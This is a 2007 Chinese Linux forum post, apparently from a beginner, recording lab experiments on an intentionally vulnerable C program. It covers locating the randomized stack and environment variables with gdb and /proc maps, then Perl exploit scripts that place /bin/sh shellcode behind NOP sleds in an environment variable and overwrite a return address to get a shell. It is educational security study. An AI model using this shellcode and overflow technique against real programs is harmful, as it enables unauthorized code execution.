[原创]<网络渗透技术>ubuntu下获得sh程序的调试心得

软件和网站开发以及相关技术探讨
回复
ojjou
帖子: 16
注册时间: 2007-07-25 16:36

[原创]<网络渗透技术>ubuntu下获得sh程序的调试心得

#1

帖子 ojjou » 2007-12-09 20:00

注:上个月手贱把ubuntu升级成7.10了...希望和7.04没什么区别吧...(在7.04那个内核中试了是可行的)
不过GCC和GDB版本没变...应该不成问题吧
菜鸟写的文章..高手路过就看看我最后总结的几个问题吧...前面就略过好了
原文简述如下:
1) 首先是找到环境变量问题:
由于进程现在分配的栈区地址范围是可变的...并不是从0xc0000000开始了(不过一定在0xc0000000以下的低址..这是用户态所分配的栈区)....不过栈区还是可以找到的....:

代码: 全选

simple_overflow.c  			
//这里用了我改的那个版本的..不过其实没关系哪个程序都是可以的(每个进程都有自己的栈区么~不过这里只是指用户态的栈区)
#include <stdio.h>
#include <string.h>
char largebuff[] =
"12345123451234512===ABCD";
void copyout(void)
{
	char smallbuff[16];
	getchar();
	strcpy (smallbuff,largebuff);
}
int main (void)
{
	copyout();
}
我查到和试过的有两个方法找栈底地址:
1 > 用GDB调试器找...比较类似书上的方法:

代码: 全选

GNU gdb 6.6-debian
......
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) b copyout
//这里书上是在main函数下断点...我改过的程序主功能在copyout...所以就在copyout下断点了(好像也没什么关系..一个进程就一个栈区的说....注:当时刚开始弄的时候没明白..现在验证过后发现下断点的位置和栈区是没有联系的..栈区是创建程序的时候划分的说)
Breakpoint 1 at 0x804837a
(gdb) r
Starting program: /home/ojjou/simple_overflow 

Breakpoint 1, 0x0804837a in copyout ()
(gdb) i r
eax            0x1      1
ecx            0xbfd1ec30       -1076761552
edx            0xbfd1ec50       -1076761520
ebx            0xb7f81ff4       -1208475660
esp            0xbfd1ebf0       0xbfd1ebf0
//看看现在的esp这个大概就能帮你找到栈区哦...因为当前ESP的值也是在栈区中的阿..我的方法是把ESP的值复制出来:0xbfd1ebf0然后改成:0xbfd1efc0...因为通过实验环境变量的起始地址后3位一定是fc0...
ebp            0xbfd1ec08       0xbfd1ec08
esi            0xb7fb2ce0       -1208275744
edi            0x0      0
eip            0x804837a        0x804837a <copyout+6>
eflags         0x286    [ PF SF IF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb) x/64x 0xbfd1efc0
//于是我就按这个值去检索  为什么是64x呢..因为当时我并不确定环境变量地址的末三位是fc0..然而x/64x正好一直回车下去就可以一个地址不落的检索下去:
0xbfd1efc0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfd1efd0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfd1efe0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfd1eff0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfd1f000:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfd1f010:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfd1f020:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfd1f030:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfd1f040:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfd1f050:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfd1f060:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfd1f070:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfd1f080:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfd1f090:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfd1f0a0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfd1f0b0:     0x00000000      0x00000000      0x00000000      0x00000000
(gdb) 
//从这里正好又回到c0了..一路回车一定能探到栈底的
0xbfd1f0c0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfd1f0d0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfd1f0e0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfd1f0f0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfd1f100:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfd1f110:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfd1f120:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfd1f130:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfd1f140:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfd1f150:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfd1f160:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfd1f170:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfd1f180:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfd1f190:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfd1f1a0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfd1f1b0:     0x00000000      0x00000000      0x00000000      0x00000000
//不过确定末3位后我采用更方便的方法:在 0xbfd1efc0的基础上第四位递加进行检索: 就是:0xbfd1efc0+0x1000= 0xbfd1ffc0
(gdb) x/64x 0xbfd1ffc0
//然后栈底就出来了:
0xbfd1ffc0:     0x69726f68      0x43007974      0x524f4c4f      0x4d524554
0xbfd1ffd0:     0x6f6e673d      0x742d656d      0x696d7265      0x006c616e
0xbfd1ffe0:     0x6d6f682f      0x6a6f2f65      0x2f756f6a      0x706d6973
0xbfd1fff0:     0x6f5f656c      0x66726576      0x00776f6c      0x00000000
0xbfd20000:     Cannot access memory at address 0xbfd20000			
//这个是栈底..大家试的时候可能得到的栈底是和我这个不同的....不过有类似的规律栈底的末3位必为0
(gdb) x/s 0xbfd1ffc0
//然后这就是环境变量了,不过有时候栈底和环境变量并不一定会幸运的同时出现..这个问题下文再提及:
0xbfd1ffc0:      "hority"
(gdb) 
0xbfd1ffc7:      "COLORTERM=gnome-terminal"
(gdb) 
0xbfd1ffe0:      "/home/ojjou/simple_overflow"
(gdb) 
0xbfd1fffc:      ""
(gdb) 
0xbfd1fffd:      ""
(gdb) 
0xbfd1fffe:      ""
(gdb) 
0xbfd1ffff:      ""
(gdb) 
0xbfd20000:      <Address 0xbfd20000 out of bounds>
2> 还有一个方法是在网上看到的一个指令:
cat /proc/"pid"/maps
#"pid"是进程号..这句的意思是获得进程号为"pid"的内存映像
具体实现如下:

代码: 全选

ojjou@ojjou-laptop:~$ gdb simple_overflow
GNU gdb 6.6-debian
....
(gdb) b main
Breakpoint 1 at 0x804839d
(gdb) r
Starting program: /home/ojjou/simple_overflow 

Breakpoint 1, 0x0804839d in main ()
//以上只是为了运行simple_overflow
然后再开一个终端(在终端用"ctrl+shift+t"可以开个标签终端窗口那)..输入以下指令:

代码: 全选

ojjou@ojjou-laptop:~$ ps ax|grep simple_overflow 
 //这句是为了找到simple_overflow 的pid号如下可知simple_overflow 的进程号(pid)为6095(这个也是随机分配的....在我看来..不过也应该是有算法的把..)
 6094 pts/0    S+     0:00 gdb simple_overflow
 6095 pts/0    T      0:00 /home/ojjou/simple_overflow
 6152 pts/1    R+     0:00 grep simple_overflow
ojjou@ojjou-laptop:~$ cat /proc/6095/maps|grep [stack]     
//加入grep是为了方便找到栈区就是[stack]这个项
08049000-0804a000 rw-p 00000000 08:03 389098     /home/ojjou/simple_overflow
bfb9d000-bfbb3000 rw-p bfb9d000 00:00 0          [stack]
//可得出栈区在bfb9d000-bfbb3000之间..
换回GDB继续调试:

代码: 全选

(gdb) x/64x 0xbfbb2fc0
0xbfbb2fc0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfbb2fd0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfbb2fe0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfbb2ff0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfbb3000:     Cannot access memory at address 0xbfbb3000  //这里果然就是栈底
但是大家可能会发现环境变量不见了...经调试现版本内核分配进程的环境变量的地址相对于栈底的偏移(或者说距离)居然也是不固定的!
环境变量在那呢:

代码: 全选

(gdb) x/20x 0xbfbb1fc0
//环境变量在这里偏移了0x1000...(0xbfbb2fc0-0x1000=0xbfbb1fc0)....
0xbfbb1fc0:     0x69726f68      0x43007974      0x524f4c4f      0x4d524554
0xbfbb1fd0:     0x6f6e673d      0x742d656d      0x696d7265      0x006c616e
0xbfbb1fe0:     0x6d6f682f      0x6a6f2f65      0x2f756f6a      0x706d6973
0xbfbb1ff0:     0x6f5f656c      0x66726576      0x00776f6c      0x00000000
0xbfbb2000:     0x00000000      0x00000000      0x00000000      0x00000000
(gdb) x/s 0xbfbb1fc0
0xbfbb1fc0:      "hority"
(gdb) 
0xbfbb1fc7:      "COLORTERM=gnome-terminal"
(gdb) 
0xbfbb1fe0:      "/home/ojjou/simple_overflow"
(gdb) 
0xbfbb1ffc:      ""
(gdb) 
0xbfbb1ffd:      ""
(gdb) 
0xbfbb1ffe:      ""
(gdb) 
0xbfbb1fff:      ""
(gdb)
 
环境变量在这里!并不像书上说的说的就在栈底以上的位置上...不过也有固定规律:如果偏移的话..必定偏移0X1000(也就是原来的预计地址减去0x1000)...(我有个设想如果我在shellcode的开头加上4096个也就是16的3次方个nop的话那么用书上的方法所定位的地址必定能落到shellcode上..刚刚才想到的...下次再试把)
其实第二种找栈区方法还有点击"系统"->"系统管理"->"系统监视器"->找到所要进程单击右键->选"内存镜像"...同样也能看到栈区的...
2) 原文的程序分析:
漏洞程序vulnerable.c

代码: 全选

#include <stdio.h>
#include <string.h>
int main (int argc,char *argv[])              //接收传递的参数..此漏洞由于没有检查参数的长度..使得传递的字符串可能大于vulnbuff[16]的导致了溢出的漏洞(当初我连这句都没有看懂...)
{
	char vulnbuff[16];
	strcpy(vulnbuff,argv[1]);			//接收参数并复制到vulnbuff导致溢出
	printf ("\n%s\n,vulnbuff");
	getchar();						//调试用...
}
利用程序:exploit.pl

代码: 全选

#! /usr/bin/perl -w												#这句是perl的基础语句..就是让计算机知道这是perl程序..也给出了"perl"(编译程序)的地址
$Shellcode=
"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69".		
"\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
#注意有个"."(dot)点号这是连接符....是连接上下两行字符串的意思
#"$"	符号是定义变量的意思...perl中没有整形,数字,字符串什么的之分都是靠编译器自己分析认定的..现在此句是定义了个字符串(也就是shellcode)		
$path="/home/ojjou/perl_ex/vulnerable";
#这句意思就是定一个变量"path"付给后面的值或者说是字符串"/home/ojjou/perl_ex/vulnerable"...
$ret =$0xbffffffc-(length($path)+1)-(length($Shellcode)+1);
#计算地址因为原文内核栈底地址固定..使得shellcode的位置可以精确定位..
$new_retword =pack('l',$ret);
#大致意思就是把计算得出的地址$ret压缩成长字..有点类似强制类型转化(原来的$ret值会被认为是整形..)
printf ("[+] Using ret Shellcode 0x%x\n",$ret);

%ENV=();$ENV{CC}=$Shellcode;
#此句是关键就是大概意思就是把shellcode存入环境变量中去...
exec "$path",$new_retword x 8;
#此句调用子例程并传递参数(就是$path中的那个vulnerable的地址的字符串)并且结束自身..其实就是为了环境变量阿...子例程继承父进程的环境变量..
#这样shellcode就因为我们的exploit.pl通过环境变量传递给了vulnerable....
#传递的参数就是:"$new_retword x 8"..注意"x"是X(字母x)不是"*"(星号)..."x"在perl里是重复的意思的...例如:"12"  x   2 ;   就是"1212".指令也就是$new_retword 重复8次后作为参数传递给子进程...
由于栈底地址的不固定此利用程序已经不能起作用了
下面是被我改得面目全非的获得shell的溢出程序:
首先是漏洞程序(连漏洞程序的改了真是丢脸...可见我的编程功底太差了!..还希望有编程好的兄弟大虾们能帮我看看程序解决一下问题~~但是为了sh我真是不择手段了)vulnerable.c:

代码: 全选

#include <stdio.h>
#include <string.h>
#include <stdlib.h>			
//头文件好像有个多余的..当时调试的时候抓狂... 把所有知道的头文件都加进去了..(水平差只好用排除法减少问题出现的几率...虽然回头看看觉得十分盲目..不过无知无畏阿..什么错误都敢犯)
void copyout (char a[])					
//同样是把copyout调到子函数里运行...
{
	char vulnbuff[16];			
	strcpy (vulnbuff,a);
}
int main (void)
{	
	int a[1];
	int i=20;
	char largebuff[]="12345123451234512===abcd";   
 //其实本程序目的就是把"abcd"改写成我们需要的shellcode的地址;			
//真是改的面目全非了..倒是和第一个程序有点像.
	for ( i=20 ; i < 24 ; i++)								
/*这个循环目的很简单就是手工输入返回地址用的(就是被覆盖的地址)因为调试中发现现版本的内核分配的栈底地址是可变的..并不是固定的.所以在进程创建之前我没办法了解它的栈底到底在那里(除非能知道内核是怎么分配栈的..我没找到相关文章..有哪个高手知道一定要告诉我阿!)...只好等他创建后在去寻找它的栈底和环境变量了...当然我又不会动态传递参数(就是在进程运行的时候传参数给他....谁会阿?哪位高手教教我!...书上原文是用perl来传递参数的...如果能用perl动态传递参数那就更好了!)...说到这感觉丢人了...只能用土方法(纯手工)把地址覆盖进去了...不过这样少少学过C的人都能看懂吧~哈哈(自我安慰..)*/
	{													
		scanf ("%x" ,&a[0]);								
                printf("%c\n",a[0]);
		printf("%d\n",i);
		largebuff[ i ] =(char) a[0];
		printf ("%s\n",largebuff);
	}
	copyout(largebuff);

}
这是我改的漏洞程序...粗陋之处请包涵(也希望各位大虾们能帮我改改~让它能够更自动化些..动态的传递参数的话不就更像现实生活中的漏洞程序了么)..只是方便对内核的调试..
然后是改写后的"利用程序"(只能算半个利用程序...另外一半是手工完成的)
exploit.pl(怎么什么都改了?....水平太差阿!...不要BS我阿!!)

代码: 全选

#! /usr/bin/perl -w																

$Shellcode=																		
"\x90\x90\x90\x90\x90\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69".
"\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
#刚开始我把shellcode打错了,导致我调试的时候出错了..一处会停在漏掉的那个字符那..想来也是..因为程序不完整停也是正常的么..
#我当时没注意还以为是内核聪明的在返回地址上加了偏移呢..让我的shellcode无法运行呢...我在shellcode前面还加了几个"\x90"就是nop是什么也不做的意思..方便调试嘛...落在那地址范围就能成功了

$path="/home/ojjou/perl_ex/vulnerable";											

%ENV=();$ENV{CC}=$Shellcode;

print "The vulnerable has runed!.\n.";					

exec "$path";#这里就不传递参数了..因为在创建进程前我没办法知道
结果就剩这么几句话了...本来书上的功能还有计算地址..并把地址压缩成长字(个人感觉有点强制类型转换的意思)并作为参数一同传递给vulnerable的..但是由于vulnerable在创建进程前的栈底并不确定..使得shellcode计算地址变得无用了..所以我就把其去掉在配合自己的手工操作(加上手工计算).
当然我本来不想手算的(或者说是手工寻址)...刚开始我其实是把exploi.pl分成了exploit.pl和exploit2.pl....exploit.pl如上..exploit2.pl则是计算(通过给exploit2.pl传递栈底)和动态传递参数模块.结果在计算和动态传递参数上都出了问题:
1) 通过栈底计算出shellcode的精确地址....在调试中发现环境变量的地址和栈底的距离也是不确定的!...不像传统的一定是在栈底附近...他有时候会减去0x1000的偏移..(不了解其原理...知道的高手请告诉告诉我!~~..不过大部分时候还是如书上的在栈底附近的)
2) 动态传递参数...由于不会所以就搁浅了...
开始调试:
打开一个终端(以后简称其为"一终端")

代码: 全选

ojjou@ojjou-laptop:~/perl_ex$ ./exploit.pl 
The vulnerable has runed!.
[]    			//此为光标..   
然后另开个终端(以后简称其为"二终端"):

代码: 全选

ojjou@ojjou-laptop:~/perl_ex$ ps ax|grep vulnerable
 6088 pts/0    S+     0:00 /home/ojjou/perl_ex/vulnerable
 6116 pts/1    R+     0:00 grep vulnerable

ojjou@ojjou-laptop:~/perl_ex$ gdb vulnerable 6088
GNU gdb 6.6-debian
...
...
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
Attaching to program: /home/ojjou/perl_ex/vulnerable, process 6088
Reading symbols from /lib/tls/i686/cmov/libc.so.6...done.
Loaded symbols for /lib/tls/i686/cmov/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
0xffffe410 in __kernel_vsyscall ()
(gdb) i r
eax            0xfffffe00       -512
ecx            0xb7fd6000       -1208131584
edx            0x400    1024
ebx            0x0      0
esp            0xbfc6beb0       0xbfc6beb0
ebp            0xbfc6bee0       0xbfc6bee0
esi            0xb7fc3440       -1208208320
edi            0xb7e7c6b0       -1209547088
eip            0xffffe410       0xffffe410 <__kernel_vsyscall+16>
eflags         0x200246 [ PF ZF IF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
//开始找环境变量:
(gdb) x/64x 0xbfc6bfc0
0xbfc6bfc0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfc6bfd0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfc6bfe0:     0x00000000      0x00000000      0x00000000      0xb7ff4668
0xbfc6bff0:     0x00000100      0xb7e7c6b0      0xb7ff4954      0xb7ff4650
0xbfc6c000:     0x00000000      0x00010000      0x00000000      0xffffe168
0xbfc6c010:     0x0000000f      0x00000000      0x00000000      0x00000000
0xbfc6c020:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfc6c030:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfc6c040:     0x00000000      0x00000000      0x00000000      0x080485bd
0xbfc6c050:     0x00000000      0x00000000      0x00000018      0x00001bac
0xbfc6c060:     0xb7ff4948      0x00000000      0x00000000      0x00000000
0xbfc6c070:     0x00000000      0x00000000      0xffffe074      0x00000000
0xbfc6c080:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfc6c090:     0x00000000      0x00000000      0x0804827a      0x0d696910
0xbfc6c0a0:     0xb7fd8b38      0xbfc6c0dc      0xb7fe1c0b      0xb7e8edf6
0xbfc6c0b0:     0x08048270      0xb7ff4941      0xb7ff4934      0xb7e8880c
(gdb) x/64x 0xbfc6cfc0
0xbfc6cfc0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfc6cfd0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfc6cfe0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfc6cff0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfc6d000:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfc6d010:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfc6d020:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfc6d030:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfc6d040:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfc6d050:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfc6d060:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfc6d070:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfc6d080:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfc6d090:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfc6d0a0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfc6d0b0:     0x00000000      0x00000000      0x00000000      0x00000000
(gdb) x/64x 0xbfc6dfc0
#在这里!记住这个地址“0xbfc6dfc0”由于我在前面加上了几个nop...现在只要把0xbfc6dfc0当作返回地址溢出覆盖到vulnerable中...
0xbfc6dfc0:     0x90909090      0x6852d231      0x68732f6e      0x622f2f68
0xbfc6dfd0:     0x52e38969      0x8de18953      0x80cd0b42      0x6f682f00
0xbfc6dfe0:     0x6f2f656d      0x756f6a6a      0x7265702f      0x78655f6c
0xbfc6dff0:     0x6c75762f      0x6172656e      0x00656c62      0x00000000
0xbfc6e000:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfc6e010:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfc6e020:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfc6e030:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfc6e040:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfc6e050:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfc6e060:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfc6e070:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfc6e080:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfc6e090:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfc6e0a0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfc6e0b0:     0x00000000      0x00000000      0x00000000      0x00000000
(gdb) x/64x 0xbfc6efc0
0xbfc6efc0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfc6efd0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfc6efe0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfc6eff0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfc6f000:     Cannot access memory at address 0xbfc6f000
(gdb) disas copyout
Dump of assembler code for function copyout:
0x08048414 <copyout+0>: push   %ebp
0x08048415 <copyout+1>: mov    %esp,%ebp
0x08048417 <copyout+3>: sub    $0x18,%esp
0x0804841a <copyout+6>: mov    0x8(%ebp),%eax
0x0804841d <copyout+9>: mov    %eax,0x4(%esp)
0x08048421 <copyout+13>:        lea    0xfffffff0(%ebp),%eax
0x08048424 <copyout+16>:        mov    %eax,(%esp)
0x08048427 <copyout+19>:        call   0x8048354 <strcpy@plt>
0x0804842c <copyout+24>:        leave       
 //下边下的断点是这个地址...也就是在ret前让他停下来...我们好了解其明细
0x0804842d <copyout+25>:        ret    
End of assembler dump.
(gdb) b *0x0804842c
Breakpoint 1 at 0x804842c
(gdb) c
Continuing.

转回"一终端":

代码: 全选

ojjou@ojjou-laptop:~/perl_ex$ ./exploit.pl 
The vulnerable has runed!.
//依次输入从c0 ;  df;    c6;   bf; (也就是0xbfc6dfc0倒过来写)    
c0

20
12345123451234512===�bcd
df

21
12345123451234512===��cd
c6

22
12345123451234512===���d
bf
�
23
12345123451234512===��ƿ
这样就完成了对返回地址的覆盖.....
转入"二终端":

代码: 全选

Breakpoint 1, 0x0804842c in copyout ()			//现在停在ret前了
(gdb) c											//按C继续
Continuing.

转回"一终端"便可看到:

代码: 全选

...
...
23
12345123451234512===��ƿ
$ echo hello				//看这里 一个sh已经获得!
hello
$ 
下面是仿造《网络渗透技术》书中此程序内容写的文章:(我小小实验了一下前面的想法....于是留到这里呈现)
首先是如何能精确定位shellcode呢:先来看一下堆栈最开始的使用情况:如图所示.
低地址(堆栈增长方向)
| ... |
++++++++++++
| 堆栈数据 |
++++++++++++
| 环境变量 |
++++++++++++
| 程序路径 |
++++++++++++ <------与栈底相差4个字节或者4100(相差0x1000+4)个字节...
| 栈底 |
++++++++++++ <------此为栈底(可变.随机生成)但末位必为000并且在0xc0000000以上地址
高地址

堆栈结构内容

图:linux堆栈结构

用gdb实际调试得到的信息如下:

代码: 全选

ojjou@ojjou-laptop:~$ gdb simple_overflow
GNU gdb 6.6-debian
.......
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) b main
Breakpoint 1 at 0x804839d
(gdb) r
Starting program: /home/ojjou/simple_overflow 

Breakpoint 1, 0x0804839d in main ()
(gdb) i r
eax            0x1      1
ecx            0xbfbf3310       -1077988592
edx            0xbfbf3330       -1077988560
ebx            0xb7fa3ff4       -1208336396
esp            0xbfbf32f4       0xbfbf32f4
ebp            0xbfbf32f8       0xbfbf32f8
esi            0xb7fd4ce0       -1208136480
edi            0x0      0
eip            0x804839d        0x804839d <main+14>
eflags         0x286    [ PF SF IF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb) x/20x  0xbfbf3fc0
0xbfbf3fc0:     0x69726f68      0x43007974      0x524f4c4f      0x4d524554
0xbfbf3fd0:     0x6f6e673d      0x742d656d      0x696d7265      0x006c616e
0xbfbf3fe0:     0x6d6f682f      0x6a6f2f65      0x2f756f6a      0x706d6973
0xbfbf3ff0:     0x6f5f656c      0x66726576      0x00776f6c      0x00000000
0xbfbf4000:     Cannot access memory at address 0xbfbf4000
(gdb) x/s 0xbfbf3fc0
0xbfbf3fc0:      "hority"
(gdb) 
0xbfbf3fc7:      "COLORTERM=gnome-terminal"
(gdb) 
0xbfbf3fe0:      "/home/ojjou/simple_overflow"			//这是程序路径长度
(gdb) 
0xbfbf3ffc:      ""
(gdb) 
0xbfbf3ffd:      ""
(gdb) 
0xbfbf3ffe:      ""
(gdb) 
0xbfbf3fff:      ""
(gdb) 
0xbfbf4000:      <Address 0xbfbf4000 out of bounds>
0xbfbf4000已经是不可访问地址,也就是所谓的栈底.0x0xbfbf3ffc(此值为不固定以自己调试时的值为准.但与栈底存在一定偏移量:4字节或4100字节) 开始的四个字节总是为0,那么用0x0xbfbf3ffc减去程序路径长度和后面的结束符0(类似于字符串最后有一个"\0"结束符占一个字节)以及Shellcode长度和后面的结束符0就可以精确得到Shellcode开始的地址或者Shellcode的开始地址减去0x1000.有了这些信息,那么就很容易写出缓冲区溢出漏洞的攻击方法,比如一个漏洞程序如下:vulnerable.c

代码: 全选

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void copyout (char a[])
{
	char vulnbuff[16];
	strcpy (vulnbuff,a);
}
int main (void)
{	
	int a[1];
	int i=20;
	char largebuff[]="12345123451234512===abcd";
	for ( i=20 ; i < 24 ; i++)
	{	
		scanf ("%x" ,&a[0]);
                printf("%c\n",a[0]);
		printf("%d\n",i);
		largebuff[ i ] =(char) a[0];
		printf ("%s\n",largebuff);
	}
	copyout(largebuff);

}
通过对缓冲区溢出流程调试,相信读者可以理解如下的利用程序:
利用程序分为两个部分:
1)exploit.pl (传递环境变量(Shellcode)功能)

代码: 全选

#! /usr/bin/perl -w
$Shellcode=
"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69".
"\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
$nop="\x90";
$nop=$nop x 4096;
$Shellcode= $nop .  $Shellcode ;		#在Shellcode前面加了个4096个nop
$path="/home/ojjou/perl_ex/vulnerable";
%ENV=();$ENV{CC}=$Shellcode;
print "The vulnerable has runed!.\n";
exec "$path";
2)exploit2.pl (计算地址功能)

代码: 全选

#! /usr/bin/perl -w
$Shellcode=
"\x90\x90\x90\x90\x90\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69".
"\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
$path="/home/ojjou/perl_ex/vulnerable";
print "栈底为:\n";
my $zhan_D =0x0;	#”my”是私有的意思..和JAVA里的私有变量差不多.
chomp ( $zhan_D =<>);  
#“chomp()是去掉换行符的操作..由于在标准输入中输入的…最后会用回车(换行符)结束…由于不需要这个换行符所以去掉..”
$zhan_d="\x0";
#由于perl是智能识别变量存的的东西是用于数值还是字符串的(perl里表示都是一样的)上句是想让它认识到..这个变量里的是十六进制值.
$zhan_d = $zhan_D-0x4;
$ret =$zhan_d-(length($path)+1)-(length($Shellcode)+1)-0x1000;
#此程序的不足之处就是不够自动化!
printf ("[+] Using ret Shellcode 0x%x\n",$ret);
首先在一个控制台执行利用程序(简称"一终端"):

代码: 全选

ojjou@ojjou-laptop:~/perl_ex$ ./exploit.pl 
//不能执行吗? 直接perl exploit.pl也是一样的…想让他能象上边执行..右键电击属性有一个选项能让它成为执行文件的.
The vulnerable has runed!.
[]   			//光标
然后在另外一个控制台("二终端")进行计算并调试:

代码: 全选

ojjou@ojjou-laptop:~/perl_ex$ ps ax|grep vulnerable
 6089 pts/0    S+     0:00 /home/ojjou/perl_ex/vulnerable
 6120 pts/1    R+     0:00 grep vulnerable
ojjou@ojjou-laptop:~/perl_ex$ cat /proc/6089/maps|grep [stack]
08048000-08049000 r-xp 00000000 08:03 388769     /home/ojjou/perl_ex/vulnerable
08049000-0804a000 rw-p 00000000 08:03 388769     /home/ojjou/perl_ex/vulnerable
b7e59000-b7f9d000 r-xp 00000000 08:03 891850     /lib/tls/i686/cmov/libc-2.6.1.so
b7f9d000-b7f9e000 r--p 00143000 08:03 891850     /lib/tls/i686/cmov/libc-2.6.1.so
b7f9e000-b7fa0000 rw-p 00144000 08:03 891850     /lib/tls/i686/cmov/libc-2.6.1.so
b7fa0000-b7fa3000 rw-p b7fa0000 00:00 0 
b7fb5000-b7fcf000 r-xp 00000000 08:03 697017     /lib/ld-2.6.1.so
b7fcf000-b7fd1000 rw-p 00019000 08:03 697017     /lib/ld-2.6.1.so
bf896000-bf8ad000 rw-p bf896000 00:00 0          [stack]
ffffe000-fffff000 r-xp 00000000 00:00 0          [vdso]
ojjou@ojjou-laptop:~/perl_ex$ echo $((0xbf8ad000))
3213545472
ojjou@ojjou-laptop:~/perl_ex$ perl exploit2.pl 
栈底为:
3213545472
[+] Using ret Shellcode 0xbf8abfbf
ojjou@ojjou-laptop:~/perl_ex$ gdb vulnerable 6089
GNU gdb 6.6-debian
......
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
Attaching to program: /home/ojjou/perl_ex/vulnerable, process 6089
Reading symbols from /lib/tls/i686/cmov/libc.so.6...done.
Loaded symbols for /lib/tls/i686/cmov/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
0xffffe410 in __kernel_vsyscall ()
(gdb) disas copyout
Dump of assembler code for function copyout:
0x08048414 <copyout+0>: push   %ebp
0x08048415 <copyout+1>: mov    %esp,%ebp
0x08048417 <copyout+3>: sub    $0x18,%esp
0x0804841a <copyout+6>: mov    0x8(%ebp),%eax
0x0804841d <copyout+9>: mov    %eax,0x4(%esp)
0x08048421 <copyout+13>:        lea    0xfffffff0(%ebp),%eax
0x08048424 <copyout+16>:        mov    %eax,(%esp)
0x08048427 <copyout+19>:        call   0x8048354 <strcpy@plt>
0x0804842c <copyout+24>:        leave  
0x0804842d <copyout+25>:        ret    
End of assembler dump.
(gdb) b *0x0804842c
Breakpoint 1 at 0x804842c
(gdb) c
Continuing.

